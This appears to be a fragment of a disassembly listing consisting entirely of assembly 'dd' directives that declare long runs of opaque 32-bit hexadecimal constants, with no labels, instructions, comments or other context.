		dd 0D5293616h, 0ED18FACBh, 0A5E3FA01h, 0F98CE93Fh, 6A470A09h
		dd 50EF054Dh, 3AF50AC0h, 80034AC2h, 0A87DFFE6h,	726F4E4Ch
		dd 0B9CC6BFh, 58DC96DEh, 0D17EF8C3h, 2C16F5F7h,	95D2324h
		dd 65D97C29h, 0E7347880h, 6448E91Ch, 0E5D95BEEh, 6F92CC8Ah
		dd 6C012733h, 0C857D1E2h, 0E799D06Ah, 5B3F56B9h, 0DD77121Ah
		dd 78EDE750h, 0C702405Bh, 5267EB80h, 6A4EB2Ch, 0C3061214h
		dd 0C6E15B42h, 50DEDC01h, 9A2DB43Fh, 780693C4h,	284013BEh
		dd 6686CCE6h, 0FEBF6828h, 521C629Ah, 0D34B88B2h, 0C8ED005Ah
		dd 805673E9h, 3C7AE768h, 0F25B6324h, 6689EB01h,	4EF40CD8h
		dd 3398B732h, 3F2C6B8Ah, 5302E336h, 709F1842h, 0F399A78h
		dd 0E9636170h, 0DC5D518Ch, 51B3254Bh, 0FB89562Fh, 5CC2D654h
		dd 307251B8h, 1B9D68C5h, 0BAB221C5h, 3A6D6399h,	0F2DED10h
		dd 606E7C1h, 3179A93Eh,	0FE3D339Bh, 55322F83h, 0EF8957F4h
		dd 0DCE90FF9h, 22C344FDh, 5931D753h, 48DD765Bh,	76151068h
		dd 0B84C4A30h, 6E555972h, 9817F8Eh, 624907C9h, 72178779h
		dd 5EC7A3E5h, 0A0687920h, 3FC0A661h, 58D00EE9h,	9B3B0B37h
		dd 0D484012Dh, 2EE9FDEEh, 8A848C3h, 0E950D7BEh,	0A4FD4A35h
		dd 0C20B698Eh, 0FE89F8E4h, 0AAB30C49h, 3D0FEA61h, 64285F6Ah
		dd 559059B6h, 52301FF7h, 624C83F8h, 92F30626h, 0F7E6135Ah
		dd 96AFD0BEh, 0D658BA3h, 9280658Bh, 8556C990h, 0BA6770B4h
		dd 0CE0A8AEFh, 42E7888Eh, 0FE585BFEh, 3C963CECh, 4D73B087h
		dd 288DB980h, 20815C31h, 0BA09AA1Fh, 8BB71CB4h,	6455EC45h
		dd 9A3D85Fh, 675B044Dh
		dd 7687E0D2h, 0EAF2EB84h, 0D468590Ah, 1989B32Bh, 0C287DE21h
		dd 62594E8Ah, 1FD77588h, 7D1A8A5Ch, 0C9509F0Eh,	47A98D66h
		dd 48616F80h, 969D6F83h, 4B512F2Bh, 572A4122h, 5BC06E45h
		dd 61D1D7F7h, 96E908EFh, 5A8943A6h, 0C2D6462Dh,	5A22D406h
		dd 0E9610DF9h, 3293979Fh, 55B04346h, 220139BDh,	0E9EE01CDh
		dd 88516905h, 34BA8EB9h, 8292A825h, 9534D602h, 58626C7Ch
		dd 7E0DDA19h, 2D3B9F26h, 0E64AC8DAh, 4B7894D7h,	445CA159h
		dd 2C2CABE3h, 0A98625E9h, 5993CE20h, 0AAF6277Ah, 5A68C269h
		dd 0CB6813CDh, 51D8C4Eh, 0AE60BF41h, 0E328275Ah, 227697F8h
		dd 26D1C34Ch, 302CB3Dh,	6306ECC0h, 4070F6D4h, 0C24801ADh
		dd 2D3402B0h, 0C1587C54h, 207FB50Eh, 0C0B2A537h, 26A4AD4Ch
		dd 15097A8h, 4F0CFAF0h,	0FC74357Ch, 15832CE9h, 2FE7CE20h
		dd 0B9519730h, 1D3B0574h, 0A0CE312Eh, 560039CCh, 0F3814029h
		dd 176245DEh, 2D3F75Ch,	2175934Fh, 9ABEAA60h, 2C97D9B6h
		dd 1A94DD09h, 9F90780Fh, 0D7AACECDh, 6021F820h,	1EBBCC5Bh
		dd 14B092Eh, 13FB37B0h,	44D354E9h, 0B353ABDEh, 6C4205C0h
		dd 8B85861h, 5FBAE912h,	0D5DA6F57h, 1C02C19Dh, 396C9978h
		dd 66956B10h, 0B5D02608h, 1C7D5227h, 3D150A43h,	0FA50541h
		dd 0FA2FC30Bh, 0FB01ACD8h, 314F90A3h, 0CBC422A0h, 0B182580Ah
		dd 0B0BCBF3h, 0C1412012h, 0E393B1A9h, 81E75060h, 0C5B9C703h
		dd 2F4859F0h, 2584900Fh, 38B842FEh, 271412Eh, 375E07EFh
		dd 68023DE1h, 6E186015h, 9535A033h, 3F3E9E0Dh, 5AD61F21h
		dd 2C63402Ah, 306EE9DDh, 6F105195h, 9DB333A5h, 93CD6250h
		dd 0B4611ACDh, 5FD003Eh, 338B29D0h, 44590D00h, 0E0C162AAh
		dd 412FA06h, 29ADEE83h,	0DC7482C3h, 947209F7h, 4095FA11h
		dd 4DA25723h, 0D355C240h, 1760A494h, 0B43A6759h, 0FEA069AFh
		dd 45BEEF81h, 0E999D606h, 0ECB37430h, 4DA292ECh, 3D2F201h
		dd 21115107h, 2BF5E602h, 763CA21Dh, 6CDA82A4h, 0C7606856h
		dd 0B7918C6Bh, 49DFF78Fh, 0B856A0A7h, 380A582Ch, 2D9A4004h
		dd 735E0F2Ah, 22A9782Dh, 0F205E4DEh, 4FC42806h,	0F6638001h
		dd 0E2642046h, 32805B98h, 4857DDD5h, 174AC33Ah,	1348C25Bh
		dd 0B9926126h, 7A91D0F4h, 2DC98102h, 600F3F1Bh,	5CC4B36Ah
		dd 0EB0FD6FCh, 0AC527344h, 5D86209Dh, 6B79135Dh, 30DC673Bh
		dd 69015F52h, 5073E9D0h, 5D0558A8h, 12215003h, 0A1D2BF57h
		dd 76EC7CB3h, 145C7D63h, 72DF829h, 0C8015F0Fh, 0A17D14F4h
		dd 8A2E591Fh, 68520038h, 455B0991h, 4FE91A5Ah, 514077AEh
		dd 0DC2710BAh, 3428DA2Eh, 83B8F8B4h, 0A5E9293h,	0C8C436F2h
		dd 16F01322h, 0E0E6589h, 313AF42h, 98F9ED09h, 0B1DBB1Ah
		dd 4359EE05h, 7909EED2h, 0F87226FAh, 50FEE696h,	1325C95Fh
		dd 14D5046h, 68E95762h,	0E7F32A24h, 90D38C16h, 0E379748Eh
		dd 4D2F7F7Bh, 4714F99Eh, 0CB94D2CAh, 0D7016601h, 0C45EB02Ch
		dd 72E8E0B1h, 503527Eh,	44E93CB5h, 4A2E3B8Eh, 9D53FD16h
		dd 0B0ED02FBh, 3100A050h, 422D5EF0h, 2E1ECC5Dh,	1770C289h
		dd 7856F2A7h, 48C6F92Eh, 7E80F7AEh, 0BB3CAF70h,	0E90BC262h
		dd 90DF9467h, 5F51592Ch, 0C84AF254h, 21144AC1h,	543193C8h
		dd 0D216ABC2h, 4CF0E7B7h, 27A74CA2h, 2CC75A08h,	4182F1F6h
		dd 3051728Eh, 7C14EE7Ch, 1080141Ch, 641FEBDEh, 101ABC8Fh
		dd 43D43291h, 2CA2AEBCh, 0C5EF7E69h, 5E35E80Ah,	680CCACFh
		dd 35BD7174h, 18F18756h, 0CDEF4990h, 0DF074CC7h, 0D113257Bh
		dd 96246BD3h, 5527622Dh, 0BB2051CEh, 0B2BD4A90h, 0BC6F136Fh
		dd 0EE2F5CA7h, 6ABAB1E0h, 1E487073h, 2DC64C12h,	7A756419h
		dd 60375E68h, 0E0A0E9DBh, 120AB780h, 666FE28h, 0BD89C30Eh
		dd 0CA2EA04h, 0B8FD7BF2h, 4946484h, 0C187C109h,	3411BE30h
		dd 855890B5h, 0FF1A7FAh, 5E25F60Bh, 0D0B38D54h,	8FEB390Ch
		dd 0B3BCB3F6h, 16B47284h, 3DE26D13h, 629E69Eh, 5E077087h
		dd 0BBB81230h, 3B5374F7h, 0C7045062h, 0B82425D2h, 5CC407F2h
		dd 0D7528A4Bh, 945CC04Fh, 4476091Bh, 4259DF09h,	8EFC140h
		dd 280095D1h, 239D563Ah, 6C5A5727h, 7D08B096h, 7C1A26C3h
		dd 2B7588DAh, 0FF26F422h, 5160681Ch, 398009B5h,	0CD81CEF5h
		dd 0E9C5FEE3h, 88365D8h, 31BD5C8Ah, 9F2B07Ch, 0D92F4FD6h
		dd 44A248FEh, 0A41782F9h, 0B3550309h, 0FE5A9211h, 2283169Dh
		dd 0A9F7C71Fh, 5EC0649Dh, 0C259B2BBh, 543C53E9h, 0A7D4883Dh
		dd 5BFC2800h, 0B0ECB050h, 4D0C3F08h, 18064DF9h,	8F671E4Fh
		dd 408421E8h, 0D95B0BE0h, 592D15h, 2688CE25h, 0A58923E9h
		dd 810EE77Ch, 85049A45h, 8E13C6ABh, 0DAD2C704h,	0E9EE9F80h
		dd 62AD61E8h, 4D19A468h, 2E77F5B8h, 50F27312h, 550AFD0h
		dd 996126CEh, 0ED700AC6h, 82EB8291h, 9B721B5Eh,	1DD25AFCh
		dd 96434321h, 49B84882h, 86608039h, 12B5D359h, 27D41654h
		dd 0E4522EE9h, 0DE2CEE4Bh, 54614077h, 9D7AE595h, 5509A2C2h
		dd 0F6DCBEE9h, 2688EAC1h, 57038B0h, 0FA2699BFh,	0EF2EC107h
		dd 0A00FA894h, 0FC92E92Eh, 76886884h, 349768EBh, 6BF4948Eh
		dd 503CA705h, 569EEEB1h, 3DE0F184h, 0A9EC1248h,	0EA10D3FCh
		dd 325F24A4h, 0C297E2h,	2E2165BEh, 0D8F47D5Eh, 0E94E1646h
		dd 0C874C678h, 6AFC706h, 307E4976h, 251A5A07h, 753D4CE1h
		dd 9D791240h, 0A14B84B2h, 40D82E17h, 0D8BBF7Ch,	8839391Ch
		dd 38F32EC6h, 958F608h,	0B85CFD01h, 2F9C5452h, 0D8A6BE5h
		dd 0FA92F3C5h, 0C4AD3113h, 0BE09078h, 0DF05E95Fh, 559706F1h
		dd 5910D5EDh, 54680ACCh, 66AD4D1Fh, 26E91484h, 5ECAFE96h
		dd 0C1FA674Ch, 65CBE932h, 23DF2B27h, 68515300h,	38527BDBh
		dd 0DFBB591Ah, 0B435630Dh, 84D175BBh, 1783AD42h, 6900D5F7h
		dd 76CC13C2h, 0C49D5EE9h, 88FBE216h, 8FE942EAh,	0C55327FDh
		dd 38C2E825h, 0F45D0733h, 0EAB79549h, 22684A6Ch, 0E6BD0823h
		dd 0BED4C066h, 70665E40h, 1E5D6797h, 314ECF87h,	8D69ADCh
		dd 1BDCC0C0h, 0ECB0EF50h, 2D583540h, 0FF985401h, 0B12C40AAh
		dd 5E44053Ah, 0E9E1DBBDh, 16C3C9Ch, 1CDC96BAh, 0C27B297Ah
		dd 444872DCh, 7C00512Dh, 900525D5h, 1AABD15Ch, 658C229h
		dd 1171A200h, 0CC07F35h, 7BF73E0Dh, 36B23168h, 2BAB365h
		dd 97FDA264h, 340F0C8Ch, 0F7DD2C54h, 36040598h,	5E4F1B5Ch
		dd 75ADD782h, 67BDF79Ch, 20BB28BCh, 0ABAED92Bh,	5FC92Ch
		dd 432C25BBh, 0B002A364h, 4F604A4h, 0B652D828h,	0C7C7AB2Fh
		dd 0E6320797h, 9D5CF66Bh, 376BECEh, 5AF02875h, 9822A404h
		dd 88664B02h, 0FDCE9E87h, 0F15A0968h, 7CBB812Eh, 0F85808F8h
		dd 66972C3Fh, 5A4001C2h, 0AFE91F52h, 0C7617F2Bh, 0FA3803B7h
		dd 2C5E5485h, 1EB4BB8Ah, 0EE5BD060h, 54E91033h,	26423B8Ch
		dd 5A975719h, 0FE539F81h, 0DD89D8FFh, 0D26BE75Bh, 594857E1h
		dd 564B4E68h, 4F69408Ch, 0B9E63417h, 48459308h,	0B7546216h
		dd 4611055Dh, 0CBC549B0h, 42846EBCh, 5EE9A2D9h,	4AEABAC0h
		dd 0BA5705B9h, 8287A7A2h, 6C7C077Ch, 0D192431Dh, 0F1F98E85h
		dd 72688AD8h, 18758E9h,	5BDFC08Bh, 0A19A4AE9h, 0B9F9687Ah
		dd 2045287Fh, 680472BEh, 6E910C8Ah, 8B2BE19Dh, 4CAE4157h
		dd 0CA5AABB3h, 0DFCBFD75h, 0F61D0113h, 0D9563DBFh, 6EE9C278h
		dd 8D985FBEh, 0EAAA82BCh, 9AD1277h, 0F0415681h,	0A59CC69Eh
		dd 45F06841h, 541E4723h
		dd 2D868B59h, 10921279h, 0CDC214ABh, 20E40227h,	8AD3D3DEh
		dd 1C135F0h, 0C83112E8h, 7F2F2568h, 40DA168Ch, 0FC792C8Dh
		dd 0CC7B307Bh, 6D09F74Bh, 0EF05765Bh, 0AE4F62C5h, 0F8D38B49h
		dd 9AAD619Eh, 7F363429h, 234014CDh, 265CD5h, 0E6814E62h
		dd 653B4D23h, 27550CC3h, 0FE54102Ah, 5025759Fh,	85DAD38Ah
		dd 0BBC8BF0Fh, 0B0F6CB46h, 0B865BF22h, 410B549Ah, 0DC6D77A5h
		dd 0E8430200h, 58C58162h, 7B7F7C0Bh, 810DF44Dh,	711644EDh
		dd 9040EA59h, 632F5868h, 2CCDD8B1h, 1E33E889h, 1590606Ah
		dd 23268726h, 430980C0h, 8E9244Dh, 14D9AF89h, 2148668h
		dd 3985C0FEh, 480106CFh, 84050F3h, 6844B95Eh, 4840A484h
		dd 0B80112C9h, 0AEA6F326h, 0E2594B82h, 30F8C3A8h, 0EFF802FAh
		dd 233D7A63h, 88020AD3h, 5568C578h, 0AE6F1940h,	215E4EC2h
		dd 3F695BF8h, 0D88F4597h, 274A1055h, 9787DA8Ch,	45C7905h
		dd 5F6FEC09h, 784048D6h, 8146EED1h, 723B0BCEh, 3E806A7Dh
		dd 0F73CD6D2h, 7ECE88BFh, 0E8BA2809h, 5008260Eh, 9D4EBD1Eh
		dd 0BBBED400h, 787A9F6Bh, 14D49133h, 396DB159h,	60D0C80h
		dd 2D61F624h, 4F05C00Eh, 2FCC6156h, 72E3762h, 0ED71E9F9h
		dd 5FCB602Eh, 398EA2BDh, 1D5BFEE7h, 0D222C98Ah,	5F0840A2h
		dd 8822E509h, 0B820BD90h, 964A6CEAh, 0BC0AEDA8h, 6F74A5Bh
		dd 2F3DB468h, 5B75CE2Fh, 0A549FB3h, 92480FA5h, 5300B452h
		dd 32686940h, 5D4546D2h, 80377F8h, 0F4805BDCh, 88C4998Eh
		dd 0C47D23F8h, 44754D31h, 0E917893Bh, 8FD23CB3h, 0A5B2539h
		dd 8B0907F3h, 89DAC53Ch, 16E15058h, 10542F88h, 70BA02D2h
		dd 5FCA01EEh, 4FC22A30h, 39432218h, 547E10Ch, 0D7015BB7h
		dd 0A461A85Ah, 2FC95EC3h, 7619F5FBh, 0CB447B5Bh, 520EC19Eh
		dd 0D3384AC5h, 57E9DF37h, 0F50F9662h, 65EFD101h, 6E212F33h
		dd 86E41DBh, 8AC4CDB2h,	0BD805AC6h, 0E597619Dh,	0FED288E4h
		dd 0D00B8917h, 28287B01h, 5E6438F0h, 0DDD08F2Fh, 7FE01517h
		dd 6A402B1h, 0C5591C4Ch, 0BE4550E6h, 81021040h,	2F1256CDh
		dd 2700733Fh, 0E090A3F5h, 68ACFB51h, 0ABB9025Ch, 5E28AA12h
		dd 0DFF70C17h, 0B8034B68h, 64E98CA2h, 0C02A01D6h, 0EF6808EBh
		dd 6C8C6B60h, 0E2800579h, 0BCFBE9BBh, 0F10478F8h, 4E1C044h
		dd 0EC3024F9h, 0CA203F06h, 8966D8EEh, 0FCEFC7F5h, 89A44F80h
		dd 0AF8D012Ah, 0C57062B2h, 0CFB8A083h, 99E196D4h, 3CAD049Ch
		dd 84CEA35Ah, 50141359h, 17BBF703h, 0FE5A2B31h,	1C7E3C8h
		dd 19D05585h, 636D1DE9h, 245B4C8Eh, 0D0AF0CC2h,	0B744A0D7h
		dd 4DCD316Bh, 0D5E90812h, 60947ABCh, 715B1F81h,	0A2929668h
		dd 0E957870Fh, 0B8BDF985h, 51BE503h, 0E20552A7h, 3F2E32F2h
		dd 5622E600h, 3F010B4Eh, 7FF35DEBh, 2D713CF8h, 1854FBB4h
		dd 65201C08h, 7B447B26h, 0EC4A3710h, 7FCC11C3h,	5947C700h
		dd 43682080h, 0B9CC3E4Bh, 0F75E16C6h, 766B033Ah, 0ACE53313h
		dd 49410181h, 4C94F181h, 23783DEDh, 47BDE016h, 82EF0172h
		dd 9FDAAB17h, 3D3B8B3Eh, 63F89530h, 52EE27A8h, 684590CAh
		dd 8C991743h, 883C8EE1h, 0E73DEC72h, 1CBDF258h,	0D9A72D16h
		dd 0EF425FD1h, 0BC342D15h, 1D1E13C4h, 0F2E9D90Eh, 63BE0354h
		dd 0F3CDD4h, 64B0BE70h,	0F6814C20h, 2B099F0Dh, 6BE80C0Ah
		dd 3D215C46h, 9E378E07h, 61048924h, 0FEBD0187h,	0D1F4BE2Ah
		dd 0D41895E5h, 9BDE829h, 703582B0h, 6FA9DFCFh, 0A37EF14Ah
		dd 0F9491D28h, 94AD25D1h, 55B6A209h, 145C470Bh,	0EFD6656Fh
		dd 0A162D997h, 0BB455FDBh, 0CC31183Eh, 74F02919h, 55BB1753h
		dd 4F08122h, 0CB0A877Ch, 77E97B9Bh, 0D0128B8Dh,	577F3BB2h
		dd 449CBF19h, 0C37FEF14h, 0E094FC5h, 0DA09A4C7h, 0FBFD58D3h
		dd 2CA7D82Ah, 1229D3F7h, 0E480CDD6h, 9AA8CAE8h,	3E2E4BB3h
		dd 0F540A775h, 13C22EF8h, 56F2E91Eh, 9DB203C7h,	42DED726h
		dd 2DF41D97h, 0D3C20DF9h, 2077D80Ch, 68148539h,	0D6B508E0h
		dd 9C381DB0h, 0D2D4259Ah, 0C8B60F87h, 203EFC3h,	3161EB75h
		dd 0E1622EDEh, 2C08A508h, 774022Fh, 0F1D87BD8h,	0EA98CFFEh
		dd 0F7546F0Fh, 4EE700D7h, 0B039DD58h, 0A8C54B1Dh, 1351949Bh
		dd 0D642E296h, 0C01B2533h, 2CE4C179h, 2405E52Ah, 0A00912DCh
		dd 570CEE09h, 0C707103h, 5C2D72A7h, 0F9008217h,	8991A226h
		dd 0DB2EE9F0h, 1AF9E55h, 67508550h, 68E0CA38h, 15F86CCAh
		dd 0D3E7E917h, 0FE339DD1h, 0F4EB8801h, 22B46B12h, 3E9C5184h
		dd 610D4381h, 87DB412Bh, 6E6C554Bh, 0C52DEC80h,	70CEA56h
		dd 2543705h, 6F425F14h,	0C2557E8Bh, 0B4070EB0h,	0C8379A11h
		dd 51EE32DBh, 0C020AC3Ah, 41677F7h, 9E96D82h, 30A9C8CBh
		dd 0C5FD20B7h, 91C62A6h, 1A346822h, 0B99286D1h,	6C2C6F4h
		dd 58E642CCh, 5470BA5Eh, 527AA506h, 800D50BAh, 83E0BFAh
		dd 0D3295B57h, 66920820h, 0CAB7683Eh, 0F5E466B2h, 0C2B5728Bh
		dd 60F95114h, 171FEA38h, 1A1C194Ch, 801A8E0h, 0A0DA015Fh
		dd 9D901712h, 5CC18F40h, 0F70325E7h, 20E33133h,	3FAE87F1h
		dd 58085092h, 48C220E9h, 20B747FEh, 763FCEE1h, 201D7B5Fh
		dd 0BD0AD24Ch, 0B9166FF5h, 7082E51Fh, 0D7551F72h, 2CF22A2h
		dd 58038800h, 677EB85Bh, 0A9E76FBEh, 5911C87h, 0E9569040h
		dd 4E9FB30Bh, 34BC8032h, 0D38905C7h, 0AF5BDD31h, 1FD3C35Ch
		dd 0B4A29D57h, 0A5E0BC24h, 0E9784556h, 0F2254F78h, 975A78E5h
		dd 23F829C5h, 0CB2E3248h, 0D0D9AF4Ah, 9D609808h, 939FC9D1h
		dd 1B566A8h, 601021F2h,	0AE452051h, 0EA75A212h,	0C582AC84h
		dd 0EEC10298h, 3F6C6E0h, 3CB8141Dh, 23A984BCh, 1A80B6C8h
		dd 4B9D28DEh, 8DF5070h,	0A95FE913h, 5BD9146Bh, 6C7C0388h
		dd 0CC31C79Ah, 0B5734AEh, 0B929A1CEh, 0F3708B7Dh, 49CC82B4h
		dd 237D42F6h, 0BEFE3E07h, 6C1B0C80h, 0C20C1DE3h, 661647Bh
		dd 0BC601788h, 4A809F20h, 0C1A6B884h, 427C2DA0h, 4AB39281h
		dd 31E910D8h, 0EFC110E2h, 386574B4h, 0C84CFD4h,	0DB240813h
		dd 690C8BEEh, 1AC5640Ch, 50C466E9h, 6BD4A4D5h, 17279B8Ch
		dd 0BC074B18h, 0D8C04161h, 203DC2Bh, 0ADE9FE31h, 3F3D58A9h
		dd 0FA197F12h, 0B2536069h, 2606F723h, 4AA09AEh,	0EA783360h
		dd 914E829Dh, 616F6878h, 3E99704Bh, 230F2558h, 67697BBDh
		dd 85CB7E43h, 311A8CD4h, 0C12E73B4h, 0A53CC50Eh, 7AD35F02h
		dd 0A9DBFAE9h, 5E6E644Eh, 57A3021Fh, 30FC5F54h,	488E04F2h
		dd 0FD430416h, 0C510B8D8h, 6D91D14Ch, 676E1378h, 32FDA2E5h
		dd 9E6A3A76h, 9B0DC7C1h, 82017EBBh, 11DB545h, 4E371F1h
		dd 0CF25FE08h, 0CB76CC06h, 7CC2F6Dh, 62BA4F99h,	0FDEB05E1h
		dd 9F054A68h, 94F9613Bh, 0D7BD2E98h, 46F93612h,	4A4168C9h
		dd 9DE434E5h, 2AE9106Eh, 7D1C6985h, 0FBFD181h, 0D0F7D87Ah
		dd 0DCF60BDh, 0D767004Ah, 5E100530h, 33EA787Dh,	2DDC5700h
		dd 0AFB2E435h, 4DE927CDh, 0D50D0CC0h, 4FF2F0Ch,	80929E48h
		dd 615AD368h, 10BEE072h, 3A90F201h, 0CDE38760h,	604C7352h
		dd 2CDB0C14h, 0F9B840FCh, 1537CF7h, 0E56D51B8h,	0F82D3149h
		dd 5C6135Eh, 128454F8h,	0B63DFEA3h, 0EB000D2Dh,	7FBA1C3Ch
		dd 395EFF68h, 105C3ECCh, 4A14E416h, 0A6865DF9h,	5D5E5CFBh
		dd 675A8180h, 18385A1Ch, 0D7AE8050h, 627C5F81h,	0E0434BA1h
		dd 1C13D6F3h, 50260C0h,	0C1109D2Eh, 74005EBh, 0D775D1E9h
		dd 0B64CB93h, 0FA49A5E9h
		dd 680209A5h, 0F8E65C56h, 1AD20B25h, 16965060h,	60179F68h
		dd 65220A8Fh, 5927548h,	2BDD3F66h, 5A45D480h, 0FC314AD2h
		dd 69E9182Ah, 96AB991h,	41125F39h, 78BE1C01h, 0B1A03EC5h
		dd 7720F558h, 0B09E7167h, 1DF3204Dh, 0D168939Dh, 0D0599611h
		dd 9ED4B188h, 4DF58100h, 95772905h, 74750F30h, 0E9253073h
		dd 53D407B2h, 0DC63896Eh, 0AAFE64A0h, 0F1EDA029h, 0B359CCF4h
		dd 25E90991h, 801C84D0h, 0C2CE21C5h, 53EA033Ch,	0DA28A9B3h
		dd 4572C96Fh, 0FE1F3419h, 0BFE513Dh, 0DD019CA2h, 0FD8B39F4h
		dd 802C995h, 0BF6D63E0h, 0D80CA2Ah, 0F811B373h,	86A883DBh
		dd 4E27B1F7h, 26A976AFh, 0B59F12E0h, 56C3E7D4h,	487EBDCCh
		dd 0D0E739E8h, 31255E5h, 6C90F9E5h, 0B19DCC6h, 0DEF72124h
		dd 0AA46A800h, 0F1F2F587h, 2DBF5B95h, 7AE98DC1h, 2BE23709h
		dd 9BB5CA7h, 7FCC730h, 0B7E8D158h, 37AA73EAh, 5E001F1h
		dd 79315475h, 5E592710h, 445DDA5Fh, 0C11D89D4h,	89C5E83Ch
		dd 46C921C8h, 0BB7480C0h, 17B3EA3h, 5CB1C81h, 0C2FD803h
		dd 7124251Dh, 7301686Dh, 21452449h, 0F375016Fh,	0E4200937h
		dd 4000FD2Dh, 0BD556BB3h, 4A8330DBh, 5DFE03Eh, 0EF300F41h
		dd 0A2130BBAh, 0A7A589AAh, 2D852CC5h, 7A3C730Ch, 0A1054044h
		dd 5AC5E907h, 0CFEA7854h, 0B59F446Bh, 0EDC0660Bh, 8D650603h
		dd 0A5EB0D83h, 20B20604h, 7008C1Ch, 6856D801h, 580A3FD6h
		dd 92276640h, 873C9469h, 1B3910FAh, 75542922h, 144742C6h
		dd 50896808h, 9DEFE904h, 0BCCE58AAh, 3297BE29h,	5C890029h
		dd 0B51EBD09h, 0E47E3FC9h, 4771154Fh, 23E78100h, 0E959C420h
		dd 37146037h, 150C80F1h, 4E4B7048h, 2902E9E9h, 0AD0AE9CEh
		dd 163C3AF9h, 109027ECh, 3EF28703h, 4718D6F7h, 0C5EA4F37h
		dd 317A6E63h, 0BD093C2h, 5B0CE908h, 7B45A031h, 0E6985884h
		dd 5FFA0B31h, 4801D629h, 257EF6E9h, 0CB1D3FD1h,	6AA27700h
		dd 0D3CD2167h, 5CEB82C4h, 4E4BCC5Dh, 0EB47A47Bh, 58A5834Ch
		dd 0E5C30284h, 5D20E760h, 0B0D58413h, 5262AD06h, 4974B272h
		dd 0F77CEDE7h, 0BDF1F82Dh, 42B92F3Ch, 79C956C1h, 23B33A87h
		dd 7DD96809h, 0D7093546h, 5C8E01h, 0F339A4C6h, 4F50957Fh
		dd 37D6A482h, 44C2811Ch, 0D6A57231h, 0C3243B8Fh, 456170F2h
		dd 0F52DD8B2h, 2D0ECB5Eh, 3E821BC8h, 7EF4575Ah,	3F302CCFh
		dd 41AA400Ch, 74A7C14Dh, 7970110Fh, 2B86E968h, 594176E6h
		dd 4F8F743Ch, 0C625B665h, 11EE5074h, 67CE7FBh, 6F5483EDh
		dd 0C5F0AE23h, 764E08A2h, 9032CE9Fh, 2309972Bh,	0A1B51577h
		dd 68660282h, 0BDFE6982h, 13B75381h, 603877E9h,	0B9C79264h
		dd 125B7CE1h, 2BD1A84h,	0D5CE829Dh, 8982B03Ah, 5707B820h
		dd 0CC1D2A72h, 0B55C20EEh, 1A3F3A94h, 770C019Bh, 8F165ACAh
		dd 0F842C09Fh, 59E6A4B8h, 0F3077D7Ch, 22505128h, 93CBD988h
		dd 444AE5ABh, 88F16FF2h, 0D3B472EEh, 90166506h,	11454CEBh
		dd 4A2AE702h, 325F310Dh, 2D109D6h, 0C28A4BDCh, 5506C86Bh
		dd 4A680452h, 0BE5DC82Fh, 0D94834CBh, 9526F306h, 0A4014421h
		dd 0E9302E29h, 87B70A22h, 0D6899F63h, 8D22FB3h,	7E02AE7Ah
		dd 3111F809h, 2FA05E5Ch, 0C0849C2h, 4AE9043Eh, 504D0530h
		dd 0B9D8BC2h, 8E01FF24h, 238D4A9Dh, 107C7F61h, 0F74D5D04h
		dd 0B03BFD5h, 0E9CBDCD4h, 5DF6EA21h, 73E26F68h,	7D543604h
		dd 7ACC44E9h, 4E217BDBh, 0FF623411h, 0F7E63965h, 5A3F8F4Fh
		dd 21042453h, 29F87D0Dh, 969BBDF4h, 0D78B4BE9h,	126AFFF9h
		dd 0A56F5925h, 0E989CBCDh, 592DA73Eh, 80BA88EBh, 2BF0312h
		dd 1C659112h, 685AED60h, 0EC67CC26h, 40101C6Fh,	0E8215D09h
		dd 77359A7Dh, 0E913D79Eh, 5DC1E5F1h, 283E5BD9h,	7C0FBD06h
		dd 0C10EA61Fh, 0DC1492E9h, 0CDC7016Eh, 7120A326h, 5B5F4BDh
		dd 4FE64C9Fh, 266A25Eh,	1720A21h, 68457674h, 0E543240Ch
		dd 12C0F65Dh, 0F040A29Fh, 0EE65ABEAh, 0FA012622h, 1F5A02E4h
		dd 8CD84CC6h, 525B6A76h, 19D35F20h, 193B58D8h, 537FCD01h
		dd 0A0F20117h, 5E4F084Ah, 4BB6D044h, 0B85A5B09h, 0DF00C55Fh
		dd 2AC4055Fh, 9C1D60E5h, 0DC87C3Ah, 85F30CCFh, 81C55213h
		dd 68085E10h, 4C31140Ch, 0F83DD20Ch, 0AAB42677h, 0ACB860F1h
		dd 1A02C544h, 3F706D25h, 3A8AE329h, 0F793581Ch,	0DF06A214h
		dd 4F80D813h, 1922EC2Dh, 0BC01626Ah, 0C96B4153h, 534269Bh
		dd 38304BDCh, 1B8D080h,	13347935h, 551894E9h, 8F5F58CFh
		dd 3D915E67h, 4E713h, 0CC20F482h, 0DD41014Ch, 0FC5B0803h
		dd 0F95E17FAh, 0EBB4D2B3h, 5AF3A420h, 54A90710h, 99AC7F5Dh
		dd 4600B85Eh, 35522C74h, 4CCE331Eh, 0C80B514Bh,	0B7023C72h
		dd 0C7DA618Ah, 23D35ECh, 85C69616h, 832096DAh, 0C2B0E925h
		dd 449877F4h, 832F59CDh, 0C6C71C5h, 848C7FD4h, 7A9CC826h
		dd 7BAC7917h, 303ABA1h,	0AF8A0F45h, 2947990Bh, 0EBF4E2EFh
		dd 6DF8CEFAh, 0D6238A26h, 0D7654C07h, 0DC40E932h, 0E9032618h
		dd 3A4E2E9Bh, 368ADA30h, 15C1A05h, 80928C7h, 10E0167Fh
		dd 662D6D68h, 54513A6h,	0C12F41EEh, 82B70943h, 0F045B0DDh
		dd 0E629CF70h, 69DD6E20h, 799D4468h, 0B2F9A7C1h, 29587726h
		dd 0EC874FF1h, 0F8F61C99h, 0B6AB718h, 526680B2h, 2CEA883Fh
		dd 11091DD2h, 82E9D6DFh, 45B86715h, 378F480h, 0F3F8135Bh
		dd 62524309h, 857043Fh,	0A94FAFFCh, 72F2184Bh, 128DF1B1h
		dd 0A1B998B0h, 91642BFAh, 0B8CBB0Eh, 2962A078h,	0E8188E08h
		dd 87CD0E9h, 5B382777h,	0C8704E7Eh, 0D85981F0h,	0EB92FC32h
		dd 0FBBAD164h, 5D7FE6E2h, 500F398h, 7C7F723Ah, 7A17FD2Dh
		dd 7AF0348Eh, 0A9884A64h, 7A68C2D4h, 8A99F96Ch,	82467CC9h
		dd 7DE9D088h, 8ABF81C8h, 1A6D5F16h, 6E616BA1h, 5AA5E680h
		dd 0CD812AD8h, 0B612C6B8h, 0D000F749h, 6BDE77C5h, 44294F86h
		dd 0A017E9E8h, 5A0E58B7h, 542C680h, 91AC66CEh, 5047B20h
		dd 69FA483Fh, 584AC8h, 0C981A435h, 5943E9A2h, 3B0A27BFh
		dd 1C0DE04h, 303FB2C7h,	560C7FE2h, 511F3C42h, 0EF94D729h
		dd 140C6808h, 0F4F05A13h, 123202C7h, 0EBE94AF8h, 0FAA060F0h
